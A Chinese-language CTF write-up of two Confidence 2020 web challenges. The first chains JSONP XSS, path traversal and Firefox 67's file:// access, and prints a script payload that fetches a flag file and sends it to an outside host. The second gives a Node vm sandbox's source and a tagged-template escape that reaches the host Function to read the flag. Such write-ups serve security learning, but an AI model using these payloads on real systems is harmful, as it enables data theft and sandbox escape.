Confidence2020-Web题解

Cat web

题目根据jsonp渲染img标签

-w1038

跟进http://catweb.zajebistyc.tf/cats?kind=

看下存不存在jsonp的劫持,如果存在就可以x了。确实存在xss,稍微绕一下就能出来了
-w1379

同时这个kind参数还存在目录遍历,在templates下发现flag和index.html
-w649

题目给了管理员发送请求的功能,一开始我以为是用selenium或者puppeteer进行的xss-bot,而且浏览器是Firefox低版本

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

一开始我以为是CVE-2019-11730,我用win10+firefox67打到了本地的文件,但是需要点击劫持,poc没改通,放弃了。。

-w1204

大部分时间都浪费在这了,最后看官方wp感觉挺没意思的。。原来后端会去用firefox访问请求的url,然后firefox 67同时支持file:///协议读文件
-w777

并且此版本的firefox在fetch的时候没有同源的限制
-w874

所以利用file协议打开templates下的index.html去xss,这样就能用fetch获取同目录下的flag.txt而不受同源限制(flag.txt同目录),payload如下:

/report?file:///app/templates/index.html?","status": "ok", "content": ["\"><script>fetch('flag.txt').then(res => res.text()).then(res=> fetch(`http://xxxxx:8888/${res}`))</script>",2,3], "a":"a

-w956

Temple JS

题目代码

const express = require("express")
const fs = require("fs")
const vm = require("vm")

global.flag = fs.readFileSync("flag").toString()
const source = fs.readFileSync(__filename).toString()
const help = "There is no help on the way."

const app = express()
const port = 3000

app.use(express.json())
app.use('/', express.static('public'))

app.post('/repl', (req, res) => {
    let sandbox = vm.createContext({par: (v => `(${v})`), source, help})
    let validInput = /^[a-zA-Z0-9 ${}`]+$/g

    let command = req.body['cmd']

    console.log(`${req.ip}> ${command}`)

    let response;

    try {
        if(validInput.test(command))
        {
            response = vm.runInContext(command, sandbox, {
                timeout: 300,
                displayErrors: false
            });
        } else
            throw new Error("Invalid input.")
    } catch(ex)
    {
        response = ex.toString()
    }

    console.log(`${req.ip}< ${response}`)
    res.send(JSON.stringify({"response": response}))
})

console.log(`Listening on :${port}...`)
app.listen(port, '0.0.0.0')

目的就是逃逸vm读flag,关于逃逸vm网上已经有现成的方法:调用Function=>rce,详情见vm沙箱逃逸

因此我们需要想怎么调用到Function。代码中看出在vm的上下文中存在一个par方法,可以借助with返回自身它的constructor。我们来创造一个匿名函数如下

Function`a${`with${par`par`}return constructor`}`

带标签的模板字符串是这样规定的:函数调用时若存在${expression},则会把${expression}当作参数传递给函数,详情见:带标签的模板字符串

根据par的转换定义,创建的a函数的内容被解释为

function anonymous(a,
    /*``*/) {
    with(par)return constructor
}

当调用这个匿名函数,返回一个宿主机的Function,也就逃逸到global所在的上下文了。接着就是调用这个Function来返回flag

Function`a${`with${par`par`}return constructor`}``` `return flag` ``

一个简单的demo帮助理解

global.flag = "aaa";

function anonymous(a,
    /*``*/) {
    with(par)return constructor
}


function par(a) {
    console.log(123);
}


console.log(anonymous``) //[Function: Function]
console.log(anonymous`` `return flag` ``) //aaa
not found!